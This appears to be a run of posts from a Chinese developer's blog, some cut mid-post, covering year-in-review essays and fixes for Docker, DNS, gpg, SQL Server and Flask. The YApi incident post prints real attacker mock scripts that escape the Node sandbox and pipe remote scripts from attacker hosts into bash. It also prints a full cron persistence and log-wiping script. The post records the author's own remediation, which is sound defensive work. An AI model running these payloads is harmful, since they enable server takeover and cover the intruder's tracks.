上班真累啊，在学校的时候还想着工作的时候要趁周六周末学习各种东西，工作之后才发现周六周末两天都玩不够。。。已经写了五天代码了，回到家，连电脑都不想打开…

工作

今年三月份开始的实习，实习的大概内容就是做 IDE 周边，基于 VSCode 这一套，感觉还是挺有意思的。

学习了 Electron 的周边。

正式入职之后开始做一些 DSL/编译原理/静态分析 相关的内容，还是很有挑战的。

最近对 TypeScript Compiler 深入理解了一番，还是蛮有意思的，之后有空的时候希望输出几篇文章。

在众多大佬附近学到了非常多的东西。

在互联网公司，职场氛围其实挺好的，但还是学会了职场的一些技巧，成长了。

目前在做的一款 IDE 框架也已经开源了：https://github.com/opensumi/core

提供了 VSCode API 的兼容，各种丰富的配置项，提供了快速集成 Electron 的能力，提供了开箱即用的 WebIDE 能力。在集团内已经上线了不少真实应用了。

毕设

学了 Rust / Go，毕设先选择了 Rust，发现写不太动，换成了 Go。

写了一个 Online Judge 判题的东西，本来想写成基于 K8S 的多容器判题，结果最后还是没有实现。

最后就是实现了一个简化版本：接收判题请求，然后通过 docker 启动相应语言的容器，等待容器返回，然后判断用户的代码运行结果。

在这个过程中了解了 Linux 中很多进程管理，容器化的知识。

精神

有自己能支配的小钱钱了，买了很多书，买了很多课程。。。

很有印象的综艺的是《再见爱人》，看完就很想研究一下爱这种东西。然后又去听了一些沈奕斐的课程。

听了一次陈海贤老师的亲密关系讲座，然后在得到上听完了他的《亲密关系 30 讲》和《自我发展心理学》，非常推荐。

同时也推荐一下得到上的《心理学基础 30 讲》。

心理学是一门科学，它不仅是告诉我们一些人类心理活动，还会研究这些心理从何而来，我们的基因中存在着什么样的东西，现代社会形成的规范等。

我觉得我很需要这些知识。

中间也把《乌合之众》看了个大半，之后再看社会上的一些群体表现，总会有种奇妙的感觉。在看《误杀 2》的时候，我又感受到了群体心理研究的力量…

《圆桌派》还是值得听一听的，听文科生对世界的理解，听各路大佬分享一些内容。

上半年还是有在关注台湾，听一些蓝媒的节目。下半年感觉有点听累了，上下班就改成听一些播客和课程，或者就听歌。

今年真的也看了很多电影，节目。

然后就啥也想不起来了，这里也有一个心理学现象：人们总是对记忆的开头和结尾特别有印象，而对中间的记忆不太明确。

生活

生活方面就多姿多彩了很多，几乎每周都会和同事同学出去玩，体验一些新东西，各种买买买。

有了自己的一辆小电动车，有了年轻人的第一台 iPad，第一个降噪耳机，第一个智能手表。

跟朋友们吃了很多店，逛了杭州的很多地方。

我真的很喜欢去西湖，几乎每周都要去，跟朋友一起走着，聊聊天，很美好。

第一次看了话剧，东野圭吾《回廊亭杀人事件》，买到了前排的票~ 感觉还不错，后面又听了硬核电台对他们的采访，还是蛮有意思的。

第一次玩剧本杀、第一次玩密室、跟同事们吃了各种没吃过的。

进城的感觉真好~

有了自己的一个小空间，买了各种各样的东西，衣服鞋子买买买，买了各种厨具，家居用品。

开始健身了，几乎是每天都去健身房，周六末偶尔会休息一下或者出去玩了。只能说是很有效果~ 卧推能上 30KG 了（加上杆也就是 100 斤）。

That’s All

每天到点上班，下班玩一会。

这就是社畜的生活吧~

每天都很累，但每天也会有一些生活中的小美好让你开心起来。

感觉活着还是充满希望的~

中文提示的应该是：操作已超时。

解决方案

可能是因为在 Windows 的更新中 Docker 还没退出？然后计算机重新启动后 Docker 检测到某个文件还在，但发现一直请求都请求不到。

删除 Docker 的几个数据文件就可以了:

• C:\Users\[USER]\AppData\Local\Docker
• C:\Users\[USER]\AppData\Roaming\Docker
• C:\Users\[USER]\AppData\Roaming\Docker Desktop

参考链接

• Docker failed to initialize
• Docker failed to initialize.Operation timed out

扫了一下发件箱，发现有一条发送给某个随机邮箱说 YApi 注册成功的信息，我在自己的公网服务上是部署了一个 YApi，又想到好像最近有 YApi 的漏洞。

于是登上了 YApi 看了一下，注册用户中果然多了一堆莫名的乱码帐号。

看起来服务器是安然无恙的，所幸我是用 Docker 运行的 YApi。

漏洞概述

让专业的人来说：

Yapi 是高效、易用、功能强大的 api 管理平台，旨在为开发、产品、测试人员提供更优雅的接口管理服务。可以帮助开发者轻松创建、发布、维护 API，YApi 还为用户提供了优秀的交互体验，开发人员只需利用平台提供的接口数据写入工具以及简单的点击操作就可以实现接口的管理。

2021 年 7 月 8 日，有用户在 GitHub 上发布了遭受攻击的相关信息。攻击者通过注册用户，并使用 Mock 功能实现远程命令执行。命令执行的原理是 Node.js 通过 require('vm') 来构建沙箱环境，而攻击者可以通过原型链改变沙箱环境运行的上下文，从而达到沙箱逃逸的效果。通过 vm.runInNewContext("this.constructor.constructor('return process')()") 即可获得一个 process 对象。

推荐大家看看这个原文。

好嘛，解决它

这还是我第一次直面漏洞。

看了一些解决方案：

• https://github.com/YMFE/yapi/issues/2229
• https://mp.weixin.qq.com/s/yKDmMrhaWZIOTPsz6zqHYA

所以接下来就是关闭漏洞利用 ＆ 止损。

升级版本

更新 Yapi 至官方发布的 1.9.3，新版本用了更为安全的 safeify 模块，可以有效地防止这个漏洞。

我用的是 https://github.com/fjc0k/docker-YApi，

1
2
3

docker-compose pull yapi-web \
  && docker-compose down \
  && docker-compose up -d

关闭 YAPI 用户注册功能

在 docker-compose.yml 配置环境变量 YAPI_CLOSE_REGISTER 为 true 即可。

然后重启 compose：

1

docker-compose restart

删除 mock 脚本

首先进入 Mongo 的容器内，然后连接数据库，删除掉已有的 mock 脚本：

1
2
3
4
5
6
7

docker-compose exec yapi-mongo /bin/bash
mongo

# 数据库相关操作
> show dbs
> use yapi
> show tables

然后就能看到本地已有的表，需要删除 mock 脚本，先看一下有什么 Mock 脚本：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

> db.adv_mock.find()
# 就能看到一堆 带有 sandbox 字样的 mock_script
{ "_id" : 10, "enable" : true, "interface_id" : 327, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 59, "uid" : "194", "up_time" : 1601333575, "__v" : 0 }
{ "_id" : 16, "enable" : true, "interface_id" : 332, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami && echo 123456789\").toString()", "project_id" : 67, "uid" : "201", "up_time" : 1601335228, "__v" : 0 }
{ "_id" : 76, "enable" : true, "interface_id" : 742, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"whoami\").toString()", "project_id" : 179, "uid" : "299", "up_time" : 1625730796, "__v" : 0 }
{ "_id" : 82, "enable" : true, "interface_id" : 772, "mock_script" : "\n        const sandbox = this; // 获取Context\n        const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数\n        const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数\n        const myfun = FunctionConstructor('return process'); // 构造一个函数，返回process全局变量\n        const process = myfun();\n        mockJson = process.mainModule.require(\"child_process\").execSync(\"curl -L https://jhx15.zzlxrj.com/Uploads/image/goods/2021-06-07/start.sh | bash -s '46n4YeKAjUp2FcJnx8SFEb5CMK3kMRJ9o9MEuCzWtv2VEF5LYeq6TJKSWV3h4sEj4CQiUmsb2dNMEQcKJZJM8zCYFp7wFoy'\").toString()", "project_id" : 227, "uid" : "355", "up_time" : 1626338890, "__v" : 0 }
{ "_id" : 88, "enable" : true, "interface_id" : 787, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"curl http://47.98.198.11:8015/init.sh | bash\").toString()", "project_id" : 243, "uid" : "383", "up_time" : 1625989857, "__v" : 0 }
{ "_id" : 94, "enable" : true, "interface_id" : 792, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 251, "uid" : "390", "up_time" : 1625991205, "__v" : 0 }
{ "_id" : 100, "enable" : true, "interface_id" : 827, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 267, "uid" : "404", "up_time" : 1626096094, "__v" : 0 }
{ "_id" : 106, "enable" : true, "interface_id" : 832, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nmockJson = process.mainModule.require(\"child_process\").execSync(\"wget -qO- http://47.98.198.11:8015/init.sh | sh\").toString()", "project_id" : 275, "uid" : "411", "up_time" : 1626096134, "__v" : 0 }
{ "_id" : 124, "enable" : true, "interface_id" : 922, "mock_script" : "const sandbox = this\r\nconst ObjectConstructor = this.constructor\r\nconst FunctionConstructor = ObjectConstructor.constructor\r\nconst myfun = FunctionConstructor('return process')\r\nconst process = myfun()\r\nvar t = process[\"\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\"][\"\\x72\\x65\\x71\\x75\\x69\\x72\\x65\"](\"\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\")\r\nmockJson=t.execSync(\"wget -qO- http://47.98.198.11:8015/cron.sh | sh \").toString()", "project_id" : 315, "uid" : "425", "up_time" : 1626506262, "__v" : 0 }
{ "_id" : 130, "enable" : true, "interface_id" : 992, "mock_script" : "const sandbox = this\nconst ObjectConstructor = this.constructor\nconst FunctionConstructor = ObjectConstructor.constructor\nconst myfun = FunctionConstructor('return process')\nconst process = myfun()\nmockJson = process.mainModule.require(\"child_process\").execSync(\"echo 123321vul\").toString()", "project_id" : 387, "uid" : "635", "up_time" : 1626766514, "__v" : 0 }

> db.adv_mock.deleteMany({"mock_script" : {$regex : "sandbox"}})

可以看到是真的有很多利用脚本。。。

打开一个 cron.sh 看了一下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

#!/bin/bash

crondir1='/var/spool/cron/'"$USER"
crondir2='/var/spool/cron/crontabs/'"$USER"

chmod 777 /usr/bin/chattr
chmod 777 /bin/chattr

unlock_cron()
{
    chattr -ia /etc/crontab
    chattr -R -ia /var/spool/cron
    chattr -R -ia /var/spool/cron/crontabs
    chattr -R -ia /etc/cron.d
}

lock_cron()
{
    chattr +ia ${crondir1}
    chattr +ia ${crondir2}
    chattr +ia /etc/cron.d/zabbix_client
}

rtdir="/etc/zabbix_flag"
echo 1 > ${rtdir}

if [ -f "$rtdir" ]
then
    mv /tmp/zabbix_client /etc/zabbix_client
    unlock_cron
    cat ${crondir1} | grep -E -v "^#" | grep -q "zabbix_client" ||               echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir1}
    cat ${crondir2} | grep -E -v "^#" | grep -q "zabbix_client" ||               echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1" >> ${crondir2}
    cat /etc/cron.d/zabbix_client | grep -E -v "^#" | grep -q "zabbix_client" || echo "*/40 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/cron.d/zabbix_client
    cat /etc/crontab | grep -E -v "^#" | grep -q "zabbix_client" ||              echo "0 * * * * root /etc/zabbix_client >/dev/null 2>&1" >> /etc/crontab
    crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /etc/zabbix_client >/dev/null 2>&1") | crontab -
    lock_cron
    chmod 777 /etc/zabbix_client
    chattr +ia /etc/zabbix_client
else
    unlock_cron
    crontab -l | grep -E -v "^#" | grep -q "zabbix_client" || (crontab -l ; echo "*/30 * * * * /tmp/zabbix_client >/dev/null 2>&1") | crontab -
    lock_cron
    chmod 777 /tmp/zabbix_client
    chattr +ia /tmp/zabbix_client
fi
iptables -A OUTPUT -p tcp -j ACCEPT
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history
chmod 444 /usr/bin/chattr
chmod 444 /bin/chattr
rm /etc/zabbix_flag
rm cron.sh

搜了一下 rabbix 是什么：Real-time monitoring of IT components and services, such as networks, servers, VMs, applications and the cloud.

但是用 docker 的好处就出现了~ docker-compose 停止再启动，一切利用都木有了…

后记

这个漏洞很早之前就看过相关新闻，但没联想到会发生在自己身上…看记录，6.4 号就有人注册了新的 yapi 帐号，止血太晚~

还好是执行在容器里的服务，没有造成太大的损失。

参考链接

• https://github.com/fjc0k/docker-YApi
• https://paper.seebug.org/1639/
• https://github.com/YMFE/yapi/issues/2229

使用工具为 dnscrypt-proxy + dnsmasq。

dnscrypt-proxy 只负责帮我们发起 DoH 请求。

dnsmasq 是一个轻量级的域名解析服务器，帮我们把 DNS 请求转发到 dnscrypt-proxy，而把一些公司域内的域名转发到路由器分发的上游 DNS。

还写了个 uTools 插件 来快速切换 DNS。

什么是 DoH

什么是 DoH，可以看：https://zh.wikipedia.org/zh-cn/DNS_over_HTTPS。

使用 smartdns-rs

smartdns-rs 是一个用 Rust 编写的跨平台本地 DNS 服务器，获取最快的网站 IP，获得最佳上网体验，支持 DoH，DoT。

开源在 GitHub: https://github.com/mokeyish/smartdns-rs

使用这个软件可以非常方便的使用 DoH。

在 releases 页面 下载你的系统的二进制文件，解压，然后执行：

1
2
3
4
5
6
7
8

# 安装服务并启动
sudo ./smartdns service install
sudo ./smartdns service start

# 关闭服务
# sudo ./smartdns service stop
# 卸载服务
# sudo ./smartdns service uninstall

此时软件会把自己安装到 /usr/local/bin/smartdns，以后你只需要执行 smartdns 就可以控制服务的行为了。

服务默认使用的配置文件是：/usr/local/etc/smartdns/smartdns.conf，具体各参数可以查看官方文档：

直接在这个文件的底部加入如下配置即可：

1
2
3
4
5
6
7

# ... 默认配置

# server-tls dns.alidns.com
# server-https https://cloudflare-dns.com/dns-query
# server-https https://dns.alidns.com/dns-query
server-tls 8.8.8.8:853
server-https https://223.5.5.5/dns-query

smartdns 会默认监听本机的 53 端口。

使用 dnsmasq & dnscrypt-proxy

安装 dnsmasq、dnscrypt-proxy

安装很简单，使用 brew：

1

brew install dnsmasq dnscrypt-proxy

安装 locationchanger

https://github.com/eprev/locationchanger

执行：

1

curl -L https://github.com/eprev/locationchanger/raw/master/locationchanger.sh | bash

然后将下面这段代码粘贴到 location changer 脚本 /usr/local/bin/locationchanger 末尾：

1
2
3
4
5

DEFAULT_SCRIPT="$HOME/.locations/default"
if [ -f "$DEFAULT_SCRIPT" ]; then
    ts "Running default '$DEFAULT_SCRIPT'"
    "$DEFAULT_SCRIPT"
fi

这样我们连接网络的时候就会运行这个脚本。

然后我们创建一个文件 $HOME/.locations/default ：

1

mkdir -p $HOME/.locations && touch $HOME/.locations/default

内容如下：

1
2
3
4
5

#!/usr/bin/env bash

DNS=`ipconfig getpacket en0|grep domain_name_server|awk -F"[{,}]" '{print $2}'`
echo "$DNS"
echo "nameserver $DNS" > "$HOME/upstream.conf"

这个命令会把路由器下发的 DNS 写入到 $HOME/upstream.conf 文件中。

然后我们手动执行一遍 locationchanger，将这个文件生成出来。

配置

配置 dnsmasq

看 brew 提示你的配置文件在哪里，像我的 m1 的 brew 就提示配置文件在 /opt/homebrew/etc/dnsmasq.conf：然后修改这个配置文件的内容：

1
2
3
4
5
6
7
8
9
10
11
12
13
14

# 设置只解析域名
domain-needed
bogus-priv

# 我们刚刚生成的路由器分发的上游 DNS 地址
resolv-file=/Users/xxx/upstream.conf
# 下文配置的 dnscrypt-proxy 监听地址
server=127.0.0.1#5553
# dnsmasq 的监听地址
listen-address=127.0.0.1

# 打日志出来，好排查问题
log-queries
log-facility=/var/log/dnsmasq.log

配置 dnscrypt-proxy

M1 系统的配置文件地址在：/opt/homebrew/etc/dnscrypt-proxy.toml

这里主要是我个人的配置，我只保留一个阿里云的 DoH，然后把 sources 下的所有内容都注释掉，这样启动会快很多。

如果保留 sources 下的内容的话，每次启动软件都要去找一个最快的 DNS，要遍历很久。

1
2
3
4
5
6
7
8
9

# 监听地址
listen_addresses = ['127.0.0.1:5553']
# 打日志出来，好排查问题
log_file = '/var/log/dnscrypt-proxy.log'

# 配置 alidns
[static]
  [static.'alidns-doh']
  stamp = 'sdns://AgAAAAAAAAAACTIyMy41LjUuNSCoF6cUD2dwqtorNi96I2e3nkHPSJH1ka3xbdOglmOVkQ5kbnMuYWxpZG5zLmNvbQovZG5zLXF1ZXJ5'

参考

• https://page.codespaper.com/2019/dnsmasq-cloudflare-doh/
• https://github.com/DNSCrypt/dnscrypt-proxy/wiki/Installation-macOS
• https://linux.cn/article-9438-1.html
• https://www.scriptjc.com/article/1128
• https://studygolang.com/articles/844
• https://dnscrypt.info/public-servers/

1

denied: requested access to the resource is denied

使用 docker login 之后也不行，给镜像打的标签也是正常的，就很奇怪。

解决方案

其实这也是个很神奇的问题，你会发现这篇文章有个 tag 是 Linux。

因为 docker login 会把用户信息保存在当前的用户路径下，从 login 后会有一个『你是使用明文密码登录』的提示可以看出这一点。

1
2
3
4
5

WARNING! Your password will be stored unencrypted in /home/xxxx/.docker/config.json.
Configure a credential helper to remove this warning. See
https://docs.docker.com/engine/reference/commandline/login/#credentials-store

Login Succeeded

我在一个普通账户下，而且 docker login 没加 sudo，但后面我却使用了 sudo docker push…

so 在 root 账户下，docker 是没有登录信息的，所以就一直推不上去。

所以大家要检查的是自己当前的操作系统的登录用户是否有 docker 登录信息。

相关问题

在搜索过程中发现大家推不上去几乎都是同一个问题，推镜像的时候没有加 scope。

想使用 flask-migrate 插件做数据库版本管理，但是一直遇到这个问题。

1
2
3

INFO  [alembic.runtime.migration] Context impl MySQLImpl.
INFO  [alembic.runtime.migration] Will assume non-transactional DDL.
INFO  [alembic.env] No changes in schema detected.

各种方法都尝试过了，在每个地方都试了引入了 models 里的内容、调整使用 flask script 等等等等…

解决方案

因为我的数据库已经启动了，我的数据库和我的 models 内容是一致的。所以这句话不会生效…

所以 migrate 最好的时机是没有建立数据库之前…

然后我就删库重来了，删库之后 migrate 果然成功了。

其他踩坑

看了一下大部分网友的坑都是没有引入 models 的内容，这个需要注意一下就好。

注意不要循环引用。

migrate 要在 db.init 之后。

于是搜索了一下，发现其实 /etc/resolv.conf 只是 /var/run/resolv.conf 的一个软链接。

解决方案

所以解决办法就很简单了：

1

sudo ln -s /var/run/resolv.conf /etc/resolv.conf

参考

1. How to force MacOS to regenerate /etc/resolv.conf file?

1

Git: gpg failed to sign the data

详细输出如下：

1
2
3

> git -c user.useConfigOnly=true commit --quiet --allow-empty-message --file -
error: gpg failed to sign the data
fatal: failed to write commit object

原因

原因是你没有 「输入」 你设置的 gpg key 的密码，因为使用 VSCode WSL 的时候，没有一个图形界面让你输密码，所以 gpg 无法 sign 你的 commit。

在 Windows 图形界面下，gpg 会弹出一个 Pinentry 的 dialog 框让你输密码。而我们在使用 VSCode WSL 时，WSL 并没有使用到图形界面（XServer）。

解决方法

解决方法很简单：

gpg 会缓存我们第一次输入的密码，一段时间内我们多次对数据签名不需要重复输入密码，所以我们可以写一个 shell 函数，每次手动输入好了 gpg 的密码后，再使用 vsc 提交 commit。

如下两个函数：

1
2
3
4
5
6
7
8
9
10
11

gpg-login() {
    export GPG_TTY=$TTY
    # 对 "test" 这个字符串进行 gpg 签名，这时候需要输密码。
    # 然后密码就会被缓存，下次就不用输密码了。
    # 重定向输出到 null，就不会显示到终端中。
    echo "test" | gpg --clearsign > /dev/null 2>&1
}

gpg-logout() {
    echo RELOADAGENT | gpg-connect-agent
}

在终端中输入 gpg-login，就会出现输密码的框，输入完密码之后该密码会被缓存，之后在 VSCode 进行 commit 的时候不用输密码了。

输入 gpg-logout 就可以清除你 gpg 密码的缓存。

虽然不是解决办法，但使用起来也还算方便，也能忍。

关于我 Shell 的一些其他配置，可见：ubuntu_wsl/zshrc。

配置 gpg 缓存时间

编辑这个文件 ~/.gnupg/gpg-agent.conf：

添加如下内容，就可以将密码缓存 1 小时。

1
2

default-cache-ttl 3600
max-cache-ttl 3600

单位是秒。

参考链接

• vscode with ubuntu + wsl 2 never prompts for gpg passphrase even after configuration just “failed to write commit data”
• How can I clear my cached gpg password?

今年大四，选择了工作，也不知道会不会后悔没有保研。

感觉这一年学了很多东西，但也感觉自己还是会的太少。

先上图

大概沿着时间线说

年初的假期，因为疫情几乎就都在家里。就在随便学学，也一直在写 QQ 机器人，后面机器人自动提醒某门课出成绩的时候还挺惊心动魄的。

疫情

点击查看青春伤痕文学 -> 我和世界的 2020 - 疫情篇

随便学学

看了很多的教程。Java/JavaScript/Python 都有，也记不太清了。

印象很深的就是用 Java JWT 实现各种算法的可视化效果，感觉很有意思。

也看了 electron 的视频，感觉还是挺有意思的。跟着实现了一个 electron 远程控制的程序，展示页面是用 Vue 写的，也顺便试了试 Vite。也算了了一个心愿，就是学 Vue，后面帮舍友解决不少问题的时候自己也了解了很多。尤雨溪的 vite 开发体验很不错，让浏览器解析 esm，秒开的速度妙极了。

rc 前辈 在学操作系统相关的东西，自己跟着学了一下，感觉很有体会。所以也使用了 rust，对基本概念还是了解，但是现在几乎都想不起来什么了，因为很久没使用就忘了…

疫情期间就在家上课，无论是课上还是自己随便看的，零零散散的学了很多东西。

上课学学

课上学了 Java，现在用的也算比较熟练。而且在这门课的课设实现了一个 简单的聊天软件，使用 swing 写的界面，使用了 TCP 协议做通信。也对 Java 的工程化开发有了一个概念，了解了怎么使用第三方库。

在课上也学了 flutter，感觉开发体验和 React 接近，有 Material Design 的工具包，界面写起来也算简单。Dart 作为一个集众家之所长的语言，还是不错的，有印象的就是完善的静态类型，但是写起来有一点动态的感觉。

选修了设计模式，也算是对设计模式有所了解。

剩下的几门课都跟硬件有关了，嵌入式，微机原理。

找工作

上完大三最后一节课，暑假期间开始找工作，遇到了很多好的面试官，从一开始的不敢面试，然后慢慢面试越来越有勇气了。

这里印象最深的一下面 WXG 遇到的面试官 alsotang，开始也不知道是大佬，后来搜索了一下才发现真的是大佬。在 Nodejs 开源社区看到了好多他的身影，可惜在 WXG 二面挂了~ 然后后来还在一直保持联络。

在这之后还有一个新尝试就是上了一次捕蛇者说聊了聊校招，去丢人了。是大佬们的绿叶。

最终选择了蚂蚁的 offer，去做 IDE，工程化相关这一块。

读研和工作的选择

读研能给我带来的好处：

1. 更高的学历
2. 更多空闲时间（自己的时间）来学习新东西（各种各样的东西）
3. maybe 更大的未来空间

咨询过实验室老师的意见，他说：” 本科是写代码，读研是解决具体的问题。“。

看了一下北邮的网络技术研究院的招生，全部方向都跟 机器智能 有关，问了一下北邮的学长，他说这些都是给外面看的，进到了具体的组还得可能是写代码。

如果选择工作的话，能：

1. 赚钱
2. 提前掌控自己的生活
3. maybe 更多的业务（技术）能力

也没法比较读研和工作的压力。

但有一点是肯定的，在大厂呆三年出来找工作肯定比读研三年出来找工作方便的多。

QQ 机器人

六月十九号，加入了 NoneBot 的 organization。

我平常就在使用 QQ 机器人，比较有趣的一件事是：8 月份 CoolQ 停运了，原因是晨风机器人的作者进局子了，然后大量的机器人框架都停止开发。

然后开源的 mirai 躲了一段时间的风声又重新开始开发，同时又有大手子使用 Go 重新写了一版，现在社区还算兴盛。

也是最近在忙的是就是给 NoneBot2 加上了钉钉的支持，整个逻辑也有很大的改变。

写代码

看完了《第一行代码》，跟着写了一下里面的天气应用。

又学了 kotlin，感觉这是一门非常甜的语言，用起来也挺舒服的，类型系统玩出了花。

也了解了 gradle, maven 这些。

自己想写一个 coloros 系统的工具，写了一半也没在写了。后面陆续又有一些想法，但是安卓的开发已经太多东西要注意了，也都是一知半解。

也想写 vscode 插件，也是懂了个半吊子。

就是接了一个外包比较闹心，感觉给的钱太少了。不过自己也学到很多东西，

• 感觉熟练使用了 sqlalchemy，以前都觉得好难
• 第一次尝试写前端大屏页面
• 感觉 flask 都用熟练了

最近又在写毕设，感觉 C 语言也熟练了 orz

其他

自己也在学日语，五十音都背完了，词汇语法也在慢慢学习中。

前段时间拿到了一个 Coding 的抱枕，挺开心的。

今年最有成就感的事情是什么？

1. 能保研没保。
2. 拿了蚂蚁腾讯的校招 Offer。

看的书

说一些很有印象的编程书吧

• JavaScript 语言精粹
• 第一行代码
  第三版基于安卓 10 和 kotlin，看完了对安卓系统的开发有了一个整体的概念。
• Flask Web 开发 - 基于 Python 的 Web 应用开发实战
  这本很不错啊，例子合适，作者也是 flask_sqlalchemy 的开发者，使用了很多技巧，很有收获。

把习大大的七年知青岁月看完了。

紫金陈的几部推理都很好看。

看的剧

年初的时候看的《爱情公寓 5》，印象深刻的是诸葛大力，狗哥。

年中吧，又有一部小众剧《我的刺猬女孩》真的爱了，庄达菲真好看。

年中跟同学去看了《八佰》

《隐秘的角落》

《后翼弃兵》

在小破站看了《信条》，《姜子牙》。

最近在看《巡回检查组》，还不错。

去哪了

2020 的春节本来打算去珠海澳门玩玩的，港澳通行证都办好了，计划都写得好好的。然后因为疫情就取消了计划。

不过今年的机票真便宜。

总的来说

又是在计算机上摸爬打滚的一年。

使用 pyodbc + sqlalchemy 连接 SQLServer 数据库的时候遇到一个报错： [IM002] [Microsoft][ODBC 驱动程序管理器] 未发现数据源名称并且未指定默认驱动程序 (0) (SQLDriverConnect)。

查阅 sqlalchemy mssql + pyodbc 数据库文档 后发现：

需要装 ODBC 驱动。并且如果你要是用 hostname 方式来连接数据库的话，还需要指定驱动名字，但是发现有好多种 driver，一个 driver 还有不同的名字。于是研究了一番。

怎么这么多驱动

引用并重新编辑一下 Microsoft SQL Server 的驱动程序历史记录 - SQL Server | Microsoft Docs 中一段很清晰的描述：

有三代不同的 Microsoft ODBC Driver for SQL Server。

• 第一代 “SQL Server” ODBC 驱动程序仍作为 Windows Data Access 组件 的一部分提供。对于新开发的程序，不建议使用此驱动程序。
• 从 SQL Server 2005 开始，SQL Server Native Client 包含一个 ODBC 接口，并且它是 SQL Server 2005 至 SQL Server 2012 中随附的 ODBC 驱动程序。 对于新开发，也不建议使用此驱动程序。
• 在 SQL Server 2012 之后，Microsoft ODBC Driver for SQL Server 驱动程序随最新的服务器功能进行更新。

SQL Server Native Client

SQL Server 2005 引入了 SQL Server Native Client 的支持，可用于 ODBC 的连接。

SQL Server 2005 至 SQL Server 2012 都在进行 SQL Server Native Client（通常缩写为 SNAC）的开发。SQL Server Native Client 10.0 跟着 SQL Server 2008 一起发版。SQL Server Native Client 11.0 跟着 SQL Server 2012 一起发版。

可以在这儿下载到所有的历史版本：Download SQL Server Native Client - ConnectionStrings.com

想使用的话找到最新版的安装就行，驱动都是向前兼容的。需要注意的就是不同的 SQLServer 版本设置的驱动名字：

• Driver={SQL Server Native Client} (SQL Server 2005)
• Driver={SQL Server Native Client 10.0} (SQL Server 2008)
• Driver={SQL Server Native Client 11.0} (SQL Server 2012 及之后)

但是微软在 13 年宣布了新版的 ODBC Driver，也就是下面这个。在 17 年放弃了对 SNAC 的开发，被下面这个驱动取代，新版的驱动性能更好，支持 SQLServer 2012 之后的数据库的新特性。

Microsoft ODBC Driver for SQL Server

最新版驱动下载地址   |   历史版本驱动下载地址

使用方法也是安装好驱动程序，设置驱动名字。

驱动名字格式：

• Driver={ODBC Driver XX for SQL Server} (XX 是你安装的驱动版本的名字)

SQL 版本兼容性 | 表格来自 Microsoft

总结

ODBC Driver for SQL Server 的性能更好，新版本有很多优化，有新特性，2021 年做开发就要选他。

不同的驱动版本的支持的数据库版本也不同。请你一定要看好自己的 SQLServer 版本，去安装对应版本的驱动，然后配置好驱动名字。

还发现了一个非常棒的网站：ConnectionStrings

ConnectionStrings.com helps developers connect software to data. It’s a straight to the point reference about connection strings, a knowledge base of articles and database connectivity content and a host of Q & A forums where developers help each other finding solutions.

ConnectionStrings.com 帮助开发人员将软件连接到数据库。它是一个关于连接字符串的直接参考、一个数据库连接内容和文章的知识库，同时也是一个问答论坛，开发人员可以在这里互相帮助寻找解决方案。

参考链接

• sql server - Differences Between Drivers for ODBC Drivers - Stack Overflow
• Windows 上的 ODBC Driver for SQL Server 发行说明 - SQL Server | Microsoft Docs
• Installing - SQL Server Native Client | Microsoft Docs
• Driver history for Microsoft SQL Server - SQL Server | Microsoft Docs
• 系统要求、安装和驱动程序文件 - SQL Server | Microsoft Docs

自己尝试了一下，还是遇到了点问题。

create-react-app 会将打包的结果放在项目根目录中的 build 文件夹，打包后的路径结构：

1
2
3
4
5
6
7
8
9
10

- build
  - static
    - css
        - style.[hash].css
        - style.[hash].css.map
    - js
        - main.[hash].js
        - main.[hash].js.map
  - index.html
  - [more meta files]

create-react-app 打包的静态资源都放在了 static 路径下。比如打包后 index.html 中的一个链接：

1

<link href="/static/css/2.0a6fdfd6.chunk.css" rel="stylesheet" />

浏览器解析后，会发出一个请求 GET /static/css/2.0a6fdfd6.chunk.css。

如果简单的添加一个路由返回 index.html 文件的话，就有以下的问题出现：

因为 Flask 本身就有 static_folder 的概念，所有请求 /static 路径的请求都会从配置的 static_folder 中读取文件并返回。

